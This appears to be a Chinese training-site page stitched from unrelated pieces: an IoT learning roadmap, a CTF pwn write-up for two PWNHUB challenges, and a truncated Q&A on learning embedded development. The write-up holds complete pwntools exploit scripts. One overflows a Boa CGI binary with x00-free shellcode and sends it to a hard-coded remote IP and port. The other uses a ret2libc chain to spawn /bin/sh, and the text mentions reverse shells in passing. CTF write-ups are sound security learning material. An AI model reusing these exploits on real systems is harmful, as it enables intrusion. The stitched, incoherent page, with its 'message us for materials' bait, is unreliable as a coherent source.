整合營銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          物聯(lián)網(wǎng)的學(xué)習(xí)路線

          物聯(lián)網(wǎng)的學(xué)習(xí)路線

          多在家自學(xué)物聯(lián)網(wǎng)的朋友,也許大部分的人都沒有一個基本的學(xué)習(xí)路線,在家里很盲目的學(xué)習(xí),結(jié)果花費(fèi)幾年的時間,還是感覺一無所成,原因就是沒有一個完整的學(xué)習(xí)路線!不管我們平時做什么事情,相信大家每個人應(yīng)該都是在自己的腦海里先規(guī)劃出一個計(jì)劃或者說一個路線,以免亂了思緒!


          當(dāng)然對于學(xué)習(xí)來說,我們更應(yīng)該有一個完整的學(xué)習(xí)路線了!

          千鋒教育經(jīng)過市場調(diào)研和當(dāng)前企業(yè)項(xiàng)目經(jīng)驗(yàn)總結(jié),撰寫了一套專業(yè)的物聯(lián)網(wǎng)課程學(xué)習(xí)路線,想要了解物聯(lián)網(wǎng)的學(xué)習(xí)路線,你看這個就足夠了!

          第一階段:嵌入式高級C語言

          Linux系統(tǒng)

          Linux Ubuntu操作系統(tǒng)安裝、使用、Linux常用命令、samba服務(wù)器、SSH遠(yuǎn)程登錄、GCC編譯器、GDB調(diào)試器、VI編輯器

          嵌入式C語言高級編程

          1、C數(shù)據(jù)類型、控制語句

          2、C程序結(jié)構(gòu)設(shè)計(jì)、數(shù)組、函數(shù)、預(yù)處理

          3、指針及字符串操作

          4、結(jié)構(gòu)體、共用體、宏、枚舉

          5、文件I/O操作

          數(shù)據(jù)結(jié)構(gòu)及算法

          1、數(shù)據(jù)結(jié)構(gòu)之單向鏈表、雙向鏈表

          2、數(shù)據(jù)結(jié)構(gòu)之隊(duì)列、棧

          3、數(shù)據(jù)結(jié)構(gòu)之樹、圖

          4、算法之各種排序(選擇法、冒泡法、插入法等)

          5、遞歸

          6、算法之二分查找

          第二階段:嵌入式設(shè)備及GUI開發(fā)

          嵌入式環(huán)境配置與開發(fā)工具學(xué)習(xí)

          Linux下項(xiàng)目管理工具M(jìn)ake以及Makefile工作原理及其編寫Linux下shell腳本相關(guān)知識及其編寫嵌入式開發(fā)環(huán)境的基本概念及其搭建A53開發(fā)板介紹、設(shè)備使用、A53開發(fā)板與電腦通信、交叉編譯

          GUI圖形界面開發(fā)

          常用控件——button、label、text edit等常用布局方式——水平布局、垂直布局、固定布局、網(wǎng)格布局、相對布局等常用事件及信號處理技術(shù)——信息回調(diào)、鼠標(biāo)、鍵盤事件等時間編程、數(shù)據(jù)存儲、繪圖機(jī)制、定時器處理、多任務(wù)處理等

          第三階段:嵌入式Linux高級程序設(shè)計(jì)

          1、Linux系統(tǒng)調(diào)用概念

          2、進(jìn)程相關(guān)概念、多進(jìn)程實(shí)現(xiàn)多任務(wù)開發(fā)

          3、進(jìn)程間通信:無名管道、命名管道、信號、消息隊(duì)列、共享內(nèi)存等

          4、多線程實(shí)現(xiàn)多任務(wù)開發(fā)

          5、多任務(wù)的同步互斥開發(fā):互斥鎖、信號量

          第四階段:Linux高級網(wǎng)絡(luò)程序設(shè)計(jì)

          1、網(wǎng)絡(luò)相關(guān)概念及網(wǎng)絡(luò)發(fā)展

          2、TCP/IP協(xié)議

          3、socket編程、TCP網(wǎng)絡(luò)編程、UDP網(wǎng)絡(luò)編程、Web編程開發(fā)等

          4、Linux網(wǎng)絡(luò)應(yīng)用程序開發(fā),Linux網(wǎng)絡(luò)編程相關(guān) 5、TCP協(xié)議服務(wù)器的編程方法和并發(fā)服務(wù)器的實(shí)現(xiàn)

          6、HTTP協(xié)議及其實(shí)現(xiàn)方法,熟悉UDP廣播、多播的原理及編程方法,掌握混合C/S架構(gòu)網(wǎng)絡(luò)通信系統(tǒng)的設(shè)計(jì)

          7、IPv6與IPv4協(xié)議,及其編程接口

          8、網(wǎng)絡(luò)數(shù)據(jù)通信過程

          9、網(wǎng)絡(luò)原始套接字概念及編程接口

          第五階段:數(shù)據(jù)庫及web編程開發(fā)

          數(shù)據(jù)庫及web編程開發(fā)

          1、數(shù)據(jù)庫概念、數(shù)據(jù)庫類型

          2、Sqlite數(shù)據(jù)庫介紹及其安裝與移植

          3、SQL數(shù)據(jù)庫語言(數(shù)據(jù)定義語言(DDL)、數(shù)據(jù)操作語言(DML)、數(shù)據(jù)查詢語言(DQL)、數(shù)據(jù)控制語言(DCL))br 4、Sqlite數(shù)據(jù)庫C語言編程中的各種SQL指令執(zhí)行函數(shù)完成對數(shù)據(jù)庫的控制

          5、HTML語言開發(fā)

          6、Java語言開發(fā)

          7、AJAX開發(fā)

          8、cgi程序開發(fā)

          第六階段:C++面向?qū)ο蟾呒壵Z言程序設(shè)計(jì)

          1.熟悉面向?qū)ο蟮恼Z言概述

          2.熟練掌握c++語言的基本知識和類與對象及其高級應(yīng)用

          3、作用域運(yùn)算符、內(nèi)聯(lián)函數(shù)、強(qiáng)制類型轉(zhuǎn)換

          4、new、delete內(nèi)存管理

          5、對象成員、成員函數(shù)

          6、構(gòu)造函數(shù)、析構(gòu)函數(shù)、拷貝構(gòu)造函數(shù)、函數(shù)重載

          7、對象數(shù)組、this指針、枚舉、

          8、靜態(tài)成員、靜態(tài)成員函數(shù)

          9、對象成員

          10、友元

          11、封裝、繼承、多繼承、多態(tài)

          12、虛函數(shù)、純虛函數(shù)、抽象類、虛析構(gòu)函數(shù) 等

          第七階段:物聯(lián)網(wǎng)

          1、了解物聯(lián)網(wǎng)、泛在網(wǎng)、互聯(lián)網(wǎng)基本要領(lǐng)及其關(guān)系

          2、熟悉RFID從低頻段到高頻段的基本工作原理,以及RFID標(biāo)簽的種類與行業(yè)應(yīng)用,讀卡器原理與通信過程

          3、熟悉TI的cc2530的基本應(yīng)用,包含基本硬件資源,協(xié)議棧相關(guān)接口使用,以及點(diǎn)對點(diǎn)通信、星形通信、廣播通信、綁定通信,三種網(wǎng)絡(luò)結(jié)構(gòu)star、tree、mesh,掌握zibgee相關(guān)微控制處理芯片

          4、了解zigbe協(xié)議棧組成,以及zigbee在通信、組網(wǎng)、搖控等領(lǐng)域的不同應(yīng)用

          5、通過Bluetooth、wifi和zigbee技術(shù)對比各自的優(yōu)缺點(diǎn),并重點(diǎn)介紹zigbee的各種應(yīng)用

          6、掌握溫度、濕度、光照、PH值、二氧化碳等傳感器的工作原理及通信接口

          7、了解NB-IOT基本概念及移運(yùn)BC95模塊

          8、熟悉CoAP協(xié)議在NB-IOT中的應(yīng)用

          9、掌握常用AT指定集

          第八階段:CortexA53 Linux平臺驅(qū)動開發(fā)

          1、了解ARM處理器基本特征及工作原理

          2、掌握ARM裸機(jī)程序開發(fā)以及裸機(jī)編譯工具的使用

          3、嵌入式Bootloader原理分析及其移植

          4、嵌入式Linux內(nèi)核結(jié)構(gòu)分析及其移植

          5、掌握嵌入式Linux根文件系統(tǒng)組成分析及其制作過程

          6、掌握嵌入式Linux三大類設(shè)備驅(qū)動基本概念

          7、掌握Linux字符驅(qū)動框架及GPIO輸入輸出驅(qū)動

          8、Linux中斷機(jī)制處理及響應(yīng)過程

          9、Linux下SPI/IIC/UART串行通信技術(shù)驅(qū)動編寫與應(yīng)用

          10、Linux下input設(shè)備驅(qū)動框架介紹

          11、Linux下platform機(jī)制設(shè)備驅(qū)動框架介紹

          12、Linux下kfifo緩沖機(jī)制、并發(fā)與競態(tài)(如互斥鎖與信息號等)講解

          13、Linux驅(qū)動中的阻塞與非阻塞

          14、Linux下塊設(shè)備驅(qū)動框架——RAMdisk驅(qū)動實(shí)例編寫

          15、USB設(shè)備硬件設(shè)計(jì)原理、驅(qū)動協(xié)議架構(gòu)、驅(qū)動開以流程

          16、了解Linux設(shè)備驅(qū)動模型(kobject、kset、子系統(tǒng)、底層sysfs操作、虛擬總線等)

          第九階段:項(xiàng)目實(shí)操

          項(xiàng)目一:智能家居項(xiàng)目

          本項(xiàng)目實(shí)現(xiàn)設(shè)備的本地控制與遠(yuǎn)程控制,對開關(guān)量設(shè)備,能夠?qū)崿F(xiàn)信息采集類設(shè)備的控制如溫濕度,能夠?qū)崿F(xiàn)監(jiān)控類設(shè)備的控制如視頻監(jiān)控,安全系統(tǒng)如外人入侵能夠自動通過GPRS報(bào)警。項(xiàng)目涉及技術(shù)c語言、多任務(wù)開發(fā)、網(wǎng)絡(luò)socket開發(fā)、boa網(wǎng)絡(luò)服務(wù)器、CGI編程、html網(wǎng)頁設(shè)計(jì)等

          項(xiàng)目二:智能人臉識別項(xiàng)目

          本項(xiàng)目首先通過opencv庫的使用來實(shí)現(xiàn)人臉基本訓(xùn)練模型檢測、再深入學(xué)習(xí)通過人臉識別以及實(shí)時抓取圖像分析并識別,了解認(rèn)識opencv、dlib等開源工具

          物聯(lián)網(wǎng)的學(xué)習(xí)從來都不是那么簡單的,不要想著一下就成材,先從基礎(chǔ)開始學(xué)習(xí),慢慢加深!

          次的 PWNHUB 內(nèi)部賽的兩道題目都不是常規(guī)題,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的異或考察的則是通過逆向分析解密函數(shù)來構(gòu)造棧溢出 ROP。兩道題目的考點(diǎn)都非常新穎,其中第一道題更是結(jié)合了 Web,值得大家復(fù)現(xiàn)學(xué)習(xí)。私信回復(fù):資料!

          babyboa

          這道題的外表就是一個 Web 頁面

          但是實(shí)際上他的主要內(nèi)容都在 cgi 文件中

          cgi 文件是使用靜態(tài)編譯的,這在線下比賽的題目中是非常常見的,所以學(xué)會如何還原靜態(tài)庫的符號信息非常重要,所以這里我們第一步先嘗試著還原靜態(tài)庫的符號信息。

          1.還原靜態(tài)庫的符號信息

          還原靜態(tài)庫的信息一般用的是 IDA 提供的 FLIRT,這是一種函數(shù)識別技術(shù),即庫文件快速識別與鑒定技術(shù)(Fast Library Identification and Recognition Technology)。可以通過 sig 文件來讓 IDA 在無符號的二進(jìn)制文件中識別函數(shù)特征,并且恢復(fù)函數(shù)名稱等信息,大大增加了代碼的可讀性,加快分析速度。

          而標(biāo)準(zhǔn)庫的 sig 文件也有現(xiàn)成制作好的,在https://github.com/push0ebp/sig-database中下載,并且把文件導(dǎo)入到 IDA/sig/pc 中就能夠使用,我這里為了快速找到我們導(dǎo)入的 sig 文件,將該文件夾中原有的文件都放到了 bak 目錄下,把我們猜測可能會用到的符號文件放置到目錄下

          導(dǎo)入后再在 IDA 中按 Shift + F5,打開“List of applied library modules”頁面

          然后再按 INS 并選擇要自動分析特征還原的靜態(tài)庫文件

          我這里測試多次后選擇的是 Ubuntu 16.04 libc6(2.23-0ubuntu6/amd64),如果你不知道靜態(tài)編譯使用的是哪個版本的庫文件,可以嘗試多導(dǎo)入幾個版本的文件進(jìn)行測試。

          導(dǎo)入之后可以看到識別到了 623 個函數(shù),并且大部分函數(shù)都有了名稱

          2.邏輯分析

          在 Web 頁面中輸入密碼可以抓到如下的包

          也就是實(shí)際上 Web 頁面就是用來向后端的 cgi 傳遞參數(shù),并且在 cgi 中判斷密碼信息

          main 函數(shù)中分別判定了 REQUEST_METHOD 和 QUERY_STRING 是否正確,這兩個參數(shù)分別代表的是訪問的模式和傳遞的參數(shù),在上面例子中應(yīng)該是 GET 和 password=wjh。

          通過初步的判斷之后,就把參數(shù)的 127 字節(jié)復(fù)制到 bss 段上的一塊內(nèi)容上,并且通過 handle 函數(shù)來處理參數(shù)信息。

          在這個函數(shù)中先把棧上的數(shù)據(jù)清 0,再把參數(shù)從第 9 位開始復(fù)制到棧上,從九位開始的原因是為了從 password=wjh 中取出 wjh 這個字符串用于判斷,因?yàn)檫@個才是 Web 中真正輸入的密碼信息。

          在棧上儲存參數(shù)信息的只有 0x80 個字節(jié),但是在前面獲取參數(shù)的時候?qū)﹂L度沒有限制,所以我們只要在參數(shù)中避免\x00 ,就可以造成棧溢出來進(jìn)行后續(xù)的利用。

          但是沒有\(zhòng)x00 想要構(gòu)造出 ROP 實(shí)在是不能夠想象(因?yàn)榈刂分锌隙〞衆(zhòng)x00 數(shù)據(jù)),所以我這個時候?qū)Τ绦蜻M(jìn)行了 checksec

          發(fā)現(xiàn)在程序中的保護(hù)是全關(guān)的,并且在進(jìn)入 handle 函數(shù)之前有復(fù)制我們傳入的參數(shù)到 bss 段上,這意味著我們只需要把返回地址修改為 bss 段上的參數(shù),并且把這一段參數(shù)構(gòu)成為沒有\(zhòng)x00 的 shellcode,就可以執(zhí)行 shellcode 控制程序流程。

          3.漏洞利用

          有了上述的思想之后,我們只需要考慮的就是如何構(gòu)造 shellcode,以及如何調(diào)試等這些細(xì)節(jié)上的問題。

          如何調(diào)試程序

          由于程序就是 amd64 架構(gòu)的程序,所以我們實(shí)際上能夠直接的執(zhí)行這個文件,但是由于我們沒有傳入?yún)?shù)的兩個環(huán)境變量,所以我們也無法成功進(jìn)入 handle 函數(shù)流程。

          我這里使用的方法是直接 nop 掉 GET 參數(shù)的那部分判斷,然后 patch getenv(“QUERY_STRING”)為 read 函數(shù),具體的匯編代碼如下。

          程序中的 .eh_frame 這段空間是有執(zhí)行權(quán)限的,如果直接 patch 程序的字節(jié)不夠?qū)崿F(xiàn)我們想要的功能,那么我們只需要直接在這段空間上寫匯編代碼,并且使想要 patch 的地方 call 這個地址即可,并且在修改之后返回到原來的位置。

          而且 getenv 函數(shù)是以 rax 作為返回的值,內(nèi)容是一個指向返回?cái)?shù)據(jù)的指針,所以我們自己寫的這個函數(shù)也需要實(shí)現(xiàn)這樣的一個功能,我隨便在 bss 段上找了一段空間,并且用 sys_read 讀取內(nèi)容,經(jīng)過這樣的修改我就可以成功的調(diào)試。

          如何編寫 shellcode

          這里的 shellcode 比起之前所遇到的一些 shellcode 編寫的題目要簡單的多,關(guān)鍵點(diǎn)就在于這里的 shellcode 只需要沒有\(zhòng)x00 即可,因?yàn)橛辛薥x00 就會截?cái)?Web 數(shù)據(jù)包的后續(xù)內(nèi)容,導(dǎo)致 BOA Web 服務(wù)器無法正常的解析。

          接下來只需要正常的編寫 shellcode 即可,一般可能會遇到\x00 的地方就是引用一個內(nèi)存地址,由于地址常常是 0x400000 這樣的,最高的兩個字節(jié)是\x00。我這里用的方法是異或 0x01010101 來避免地址最高兩位的\x00。

          orw 部分的 shellcode 直接用 pwntools 生成即可,使用以下命令就可以自動的生成出代碼

          pwnlib.shellcraft.amd64.linux.cat("/flag")
          
          
          
          
          

          除了用 cat 的方法,也可以考慮使用反彈 shell 的方法,這樣的話也就不用考慮到 502 報(bào)錯的問題,因?yàn)椴恍枰?flag 的回顯內(nèi)容。

          為何 502 了

          回答這個問題的答案,就有些接近現(xiàn)實(shí)生活中的 PWN 的意味了,這也就是為了我需要專門寫 Writeup 來說明這道題目。這個問題是讓我糾結(jié)很久的一個問題,直到我下載了 BOA 的源碼查看,我找到了它報(bào)錯 502 的位置。

          這一段是 BOA 的源碼,我發(fā)現(xiàn)當(dāng)他判斷 cgi 文件中沒有\(zhòng)n\r\n 或者\(yùn)n\n 這樣的字符串的時候,就會報(bào)錯 502。

          而正常來說 cgi 文件中一定是會返回這樣的字符串的,所以會運(yùn)行正常。但是在 cgi 文件發(fā)生異常退出的時候,并沒有把緩沖區(qū)中的數(shù)據(jù)進(jìn)行輸出,常規(guī)的 pwn 題都會在題目中使用 setbuf 來設(shè)置緩沖區(qū)的長度為 0,使得程序可以實(shí)時輸出。而如果程序有緩沖區(qū)的話,直到緩沖區(qū)滿了或者執(zhí)行_IO_fflush 才會把數(shù)據(jù)內(nèi)容全部輸出。

          在常規(guī)的程序中,雖然沒有顯式的去調(diào)用_IO_flush,但是默認(rèn)會使用 _libc_start_main 來啟動函數(shù),而 exit 在_libc_start_main 中被自動調(diào)用,并且在 exit 又有去調(diào)用函數(shù)來檢查每個緩沖區(qū)中是否有內(nèi)容,如果存在內(nèi)容則輸出內(nèi)容,所以這使得緩沖區(qū)的內(nèi)容一定被輸出。

          綜上所述,我們需要在 shellcode 之后再加入一段代碼使其調(diào)用 exit 來正常的退出程序,使得緩沖區(qū)被輸出。

          4.EXP

          from pwn import *
          
          context.log_level="debug"
          context.arch="amd64"
          
          
          def test(payload):
              sh=remote('47.99.38.177', 20001)
              data='''GET /cgi-bin/Auth.cgi?{0} HTTP/1.1
              Host: 47.99.38.177:20001
              Connection: keep-alive
              DNT: 1
              Upgrade-Insecure-Requests: 1
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
              Accept-Language: zh-CN,zh;q=0.9
          
          
              '''.format(payload)
              sh.send(data)
              sh.interactive()
          
          
          DEBUG=False
          exit_addr=0x400e26
          shellcode_addr=0x6D26C0
          shellcode='''
          mov eax, 0x01410f27;
          xor eax, 0x01010101;
          jmp rax;
          '''
          shellcode=pwnlib.shellcraft.amd64.linux.cat("/flag") + shellcode
          shellcode=asm(shellcode).ljust(0x50, '\x90')
          payload=shellcode + 'a' * (0x91 - len(shellcode)) + '\xC0\x26\x6D'
          if DEBUG:
              sh=process('./Auth.cgi')
              gdb.attach(sh, "b *0x0000000000400AD5")
              sh.sendafter("charset:utf-8", payload)
              sh.interactive()
          else:
              test(payload)
          
          
          
          
          

          執(zhí)行腳本之后 flag 存在于所有數(shù)據(jù)之前,這是因?yàn)橹苯油ㄟ^ orw shellcode 輸出的 flag 數(shù)據(jù)不需要經(jīng)過緩沖區(qū),而其他數(shù)據(jù)在執(zhí)行 exit 過程中才從緩沖區(qū)中輸出,這正印證了我們之前的想法。

          美好的異或

          這道題目其實(shí)考察的是 逆向算法 + 簡單的棧溢出

          識別加密函數(shù)

          可以先看看幾個函數(shù)分別干了什么

          其實(shí)看到這幾個函數(shù),就可以大概猜到程序的加密是使用的魔改的 RC4 加密(把 RC4 加密中的 0x100 改為了 0x200)。

          識別 RC4 加密的關(guān)鍵實(shí)際上就在于它的初始化秘鑰代碼,也就是循環(huán)對 s[i]進(jìn)行賦值,賦值的內(nèi)容就是為 i,另一個特征就是他的交換過程中的計(jì)算出的下標(biāo)(s[i] + k[i] + v1) % 0x100,只需要看到類似的交換代碼,就可以直接確定是 RC4 加密。

          但由于 RC4 加密的本質(zhì)操作就是通過得到異或數(shù)據(jù)進(jìn)行異或,所以我們實(shí)際上只需要動態(tài)調(diào)試得到異或的數(shù)據(jù)并記錄即可,在加解密的時候不需要考慮是什么加密,只需要對操作的內(nèi)容進(jìn)行異或。

          解密數(shù)據(jù)和校驗(yàn)位

          下面這一段就是對內(nèi)容進(jìn)行異或運(yùn)算,encode 函數(shù)經(jīng)過混淆代碼非常的復(fù)雜,但是我們實(shí)際上通過前面的函數(shù)就可以猜測到這個函數(shù)的功能,也就是將數(shù)據(jù)進(jìn)行異或。

          因?yàn)楫惢虻臄?shù)據(jù)是固定的,所以實(shí)際上這里傳入的數(shù)據(jù)如果全都是\x00,就可以直接得到異或的秘鑰,我覺得這里的實(shí)現(xiàn)是存在一定的問題的,這使得對代碼的分析實(shí)際并不必要,只需要提取出異或的內(nèi)容即可。

          我這里編寫程序來提取出異或的數(shù)據(jù)

          #include <cstdio>
          #include <cstring>
          
          unsigned int sz[10];
          
          void rc4_init(unsigned int* s, unsigned char* key, unsigned long Len)
          {
              int i=0, j=0;
              unsigned char k[0x200]={ 0 };
              unsigned int tmp=0;
              for (i=0; i < 0x200; i++)
              {
                  s[i]=i;
                  k[i]=key[i % Len];
              }
              for (i=0; i < 0x200; i++)
              {
                  j=(j + s[i] + k[i]) % 0x200;
                  tmp=s[i];
                  s[i]=s[j];
                  s[j]=tmp;
              }
          }
          
          void rc4_crypt(unsigned int* s, unsigned int* Data, unsigned long Len)
          {
              int i=0, j=0, t=0;
              unsigned long k=0;
              unsigned int tmp;
              for (k=0; k < Len; k++)
              {
                  i=(i + 1) % 0x200;
                  j=(j + s[i]) % 0x200;
                  tmp=s[i];
                  s[i]=s[j];
                  s[j]=tmp;
                  t=(s[i] + s[j]) % 0x200;
                  Data[k] ^=s[t];
              }
          }
          
          int main()
          {
              unsigned int s[0x200];
              unsigned char key[]="freedomzrc4rc4jwandu123nduiandd9872ne91e8n3n27d91cnb9496cbaw7b6r9823ncr89193rmca879w6rnw45232fc465v2vt5v91m5vm0amy0789";
              int key_len=strlen((char *)key);
              for (int i=0; key[i]; i++)
                  key[i]=6;
              rc4_init(s, key, key_len);
              rc4_crypt(s, sz, 10);
              for (int i=0; i < 10; i++)
                  printf("0x%02X, ", sz[i] % 0x100);
              return 0;
          }
          
          
          
          
          

          異或之后的內(nèi)容,前八位是數(shù)據(jù)位,后兩位是校驗(yàn)位。我們只需要根據(jù)程序的邏輯正向的推出數(shù)據(jù)的校驗(yàn)位即可。

          漏洞利用

          異或之后賦值給棧上的數(shù)組,并且由于之前讀入的數(shù)據(jù)長度是 0xE0,計(jì)算后發(fā)現(xiàn)實(shí)際上超出了棧空間的大小,從而產(chǎn)生了棧溢出。由于程序沒有開 pie,所以這里就是 ret2csu + ret2libc 即可。直接在 bss 段上寫/bin/sh\x00,pop rdi 賦值 rdi 后,然后再調(diào)用 system 就可以 getshell。

          這里有個不清楚的問題就是如果我直接調(diào)用 plt 上的 system,本地可以直接打通,但是遠(yuǎn)程會報(bào)錯。如果有師傅知道這個問題的原因麻煩指教一下,因此我這里最后是借助程序本身使用的 system 那段 gadget 來執(zhí)行 system,發(fā)現(xiàn)可以正常執(zhí)行。

          from pwn import *
          
          elf=None
          libc=None
          file_name="./main"
          
          
          # context.timeout=1
          
          
          def get_file(dic=""):
              context.binary=dic + file_name
              return context.binary
          
          
          def get_libc(dic=""):
              libc=None
              try:
                  data=os.popen("ldd {}".format(dic + file_name)).read()
                  for i in data.split('\n'):
                      libc_info=i.split("=>")
                      if len(libc_info)==2:
                          if "libc" in libc_info[0]:
                              libc_path=libc_info[1].split(' (')
                              if len(libc_path)==2:
                                  libc=ELF(libc_path[0].replace(' ', ''), checksec=False)
                                  return libc
              except:
                  pass
              if context.arch=='amd64':
                  libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
              elif context.arch=='i386':
                  try:
                      libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
                  except:
                      libc=ELF("/lib32/libc.so.6", checksec=False)
              return libc
          
          
          def get_sh(Use_other_libc=False, Use_ssh=False):
              global libc
              if args['REMOTE']:
                  if Use_other_libc:
                      libc=ELF("./libc.so.6", checksec=False)
                  if Use_ssh:
                      s=ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
                      return s.process(file_name)
                  else:
                      return remote(sys.argv[1], sys.argv[2])
              else:
                  return process(file_name)
          
          
          def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                          int_mode=False):
              if start_string !=None:
                  sh.recvuntil(start_string)
              if libc==True:
                  return_address=u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
              elif int_mode:
                  return_address=int(sh.recvuntil(end_string, drop=True), 16)
              elif address_len !=None:
                  return_address=u64(sh.recv()[:address_len].ljust(8, '\x00'))
              elif context.arch=='amd64':
                  return_address=u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
              else:
                  return_address=u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
              if offset !=None:
                  return_address=return_address + offset
              if info !=None:
                  log.success(info + str(hex(return_address)))
              return return_address
          
          
          def get_flag(sh):
              sh.recvrepeat(0.1)
              sh.sendline('cat flag')
              return sh.recvrepeat(0.3)
          
          
          def get_gdb(sh, gdbscript=None, addr=0, stop=False):
              if args['REMOTE']:
                  return
              if gdbscript is not None:
                  gdb.attach(sh, gdbscript=gdbscript)
              elif addr is not None:
                  text_base=int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
                  log.success("breakpoint_addr --> " + hex(text_base + addr))
                  gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
              else:
                  gdb.attach(sh)
              if stop:
                  raw_input()
          
          
          def Attack(target=None, sh=None, elf=None, libc=None):
              if sh is None:
                  from Class.Target import Target
                  assert target is not None
                  assert isinstance(target, Target)
                  sh=target.sh
                  elf=target.elf
                  libc=target.libc
              assert isinstance(elf, ELF)
              assert isinstance(libc, ELF)
              try_count=0
              while try_count < 3:
                  try_count +=1
                  try:
                      pwn(sh, elf, libc)
                      break
                  except KeyboardInterrupt:
                      break
                  except EOFError:
                      if target is not None:
                          sh=target.get_sh()
                          target.sh=sh
                          if target.connect_fail:
                              return 'ERROR : Can not connect to target server!'
                      else:
                          sh=get_sh()
              flag=get_flag(sh)
              return flag
          
          
          def encode(data):
              all_data=""
              for i in range(len(data) // 8):
                  xor_data=[0x67, 0x3A, 0xDB, 0x9F, 0x21, 0x84, 0xDD, 0x24, 0x7C, 0x15]
                  d=[ord(data[i * 8 + j]) for j in range(8)]
                  s=((d[7] + (d[6] << 8) + d[5] + (d[4] << 8) + d[3] + (d[2] << 8) + d[1] + (d[0] << 8)) >> 31) >> 24
                  c=((s + d[7] + d[5] + d[3] + d[1]) & 0xff - s + 0x100) & 0xff
                  d=data[i * 8: (i + 1) * 8] + p16(c)
                  all_data +=''.join(chr(ord(d[i]) ^ xor_data[i]) for i in range(10))
              return all_data
          
          
          def pwn(sh, elf, libc):
              context.log_level="debug"
              pop_rdi_addr=0x42cd13
              buf_addr=0x68F2C0
              sh_data='/bin/sh\x00\x7C\x71' * (0x68 // 8)
              # sh_data='sh\x00\x00\x00\x00\x00\x00\x7C\x8C' * (0x68 // 8)
              payload=p64(pop_rdi_addr) + p64(buf_addr) + p64(0x40099B)
              payload=sh_data + encode(payload)
              # gdb.attach(sh, "b *0x0000000000400B9D")
              sh.sendafter('enter:', payload)
              sh.interactive()
          
          
          if __name__=="__main__":
              sh=get_sh()
              flag=Attack(sh=sh, elf=get_file(), libc=get_libc())
              sh.close()
              log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
          
          
          
          

          總結(jié)

          這次的 babyboa 這道題目是我最接近現(xiàn)實(shí)生活中的漏洞利用的一次,也嘗試了像反彈 shell 這樣的操作。畢竟 CTF 中的 pwn 題目和現(xiàn)實(shí)生活中的二進(jìn)制漏洞相差甚遠(yuǎn),通過這樣慢慢的嘗試和努力,希望可以讓我從做題走向現(xiàn)實(shí)生活這個大靶場,挖掘出真正的漏洞,試試私信回復(fù)資料。

          乎問題:

          求問如何學(xué)習(xí)嵌入式開發(fā)?


          本人電氣小白,目前正在自學(xué)嵌入式軟件開發(fā),對單片機(jī)不甚了解,只知道二進(jìn)制0和1,也能理解程序說白了就是無數(shù)個選擇(既0和1)組成的,但單片機(jī)內(nèi)部電路長什么樣子,程序?qū)戇M(jìn)去后又變成了什么樣子,單片機(jī)c語言程序的組成有哪些(如控制邏輯,存放地址等等),完全一模一樣的c語言程序能否寫入不同的單片機(jī)中,求大佬們解答一二。


          下面是答主“cdfarsight”的高贊回答,讓我們一起來學(xué)習(xí)一下圈內(nèi)大佬是怎么學(xué)習(xí)嵌入式的吧!


          01

          前言


          近幾年,嵌入式系統(tǒng)產(chǎn)品漸漸完善,并在全世界各行業(yè)得到廣泛應(yīng)用。2004年,全球嵌入式系統(tǒng)產(chǎn)品的產(chǎn)值已達(dá)2000億美元,國內(nèi)嵌入式軟件的產(chǎn)值也達(dá)到600億人民幣。目前,嵌入式系統(tǒng)產(chǎn)品的研制和應(yīng)用已經(jīng)成為我國信息化帶動工業(yè)化、工業(yè)化促進(jìn)信息化發(fā)展的新的國民經(jīng)濟(jì)增長點(diǎn)。


          隨著消費(fèi)家電的智能化,普及化,嵌入式應(yīng)用逐漸凸顯。日常生活離不開的的手機(jī)、平板、智能音響、數(shù)字相機(jī)、機(jī)頂盒、穿戴設(shè)備、智能玩具也在不斷地推陳出新;汽車電子、智能家電、醫(yī)療器械等領(lǐng)域也是競爭激烈。據(jù)預(yù)測,隨著Internet的迅速發(fā)展和廉價微處理器的出現(xiàn),嵌入式領(lǐng)域?qū)@得飛速的發(fā)展。


          02

          學(xué)習(xí)路線


          對于入門不久的新人來說,好的學(xué)習(xí)路線往往能事半功倍。排除掉專業(yè)領(lǐng)域的深耕式學(xué)習(xí),那么一個合格的嵌入式軟件工程師應(yīng)當(dāng)具備哪些技能亦或者素質(zhì)呢?筆者覺得可以從以下幾個方面入手:


          A 嵌入式軟件編程的基礎(chǔ)


          這一階段重點(diǎn)打好嵌入式軟件編程的基礎(chǔ),包括學(xué)習(xí)Linux系統(tǒng)的基本應(yīng)用,Linux的常用命令、C語言編程基礎(chǔ)、常用的數(shù)據(jù)結(jié)構(gòu)。


          特別是C語言中對指針的理解和應(yīng)用。這一階段的主要目的是學(xué)習(xí)編程語言、開發(fā)環(huán)境、和培養(yǎng)自己的編程思維,為進(jìn)一步學(xué)習(xí)嵌入式開發(fā)打下良好的基礎(chǔ)。必學(xué)內(nèi)容有:Linux Ubuntu操作系統(tǒng)安裝、使用、Linux常用命令、samba服務(wù)器、SSH遠(yuǎn)程登錄GCC編譯器、GDB調(diào)試器、VI編輯器


          1)嵌入式C語言基本語法,指針及數(shù)組操作;


          2)C語言高級語法:結(jié)構(gòu)體、共用體、宏、枚舉;


          3)數(shù)據(jù)結(jié)構(gòu);


          4)Linux系統(tǒng)基本使用及配置;


          5)Linux下Makefile工作原理及其編寫;


          6)Linux下shell腳本相關(guān)知識及其編寫;


          推薦的嵌入式學(xué)習(xí)書籍:《C程序設(shè)計(jì)語言》《大話數(shù)據(jù)結(jié)構(gòu)》《Linux與Unix Shell 編程指南》《Linux就該這么學(xué)》


          B 嵌入式Linux高級程序設(shè)計(jì)


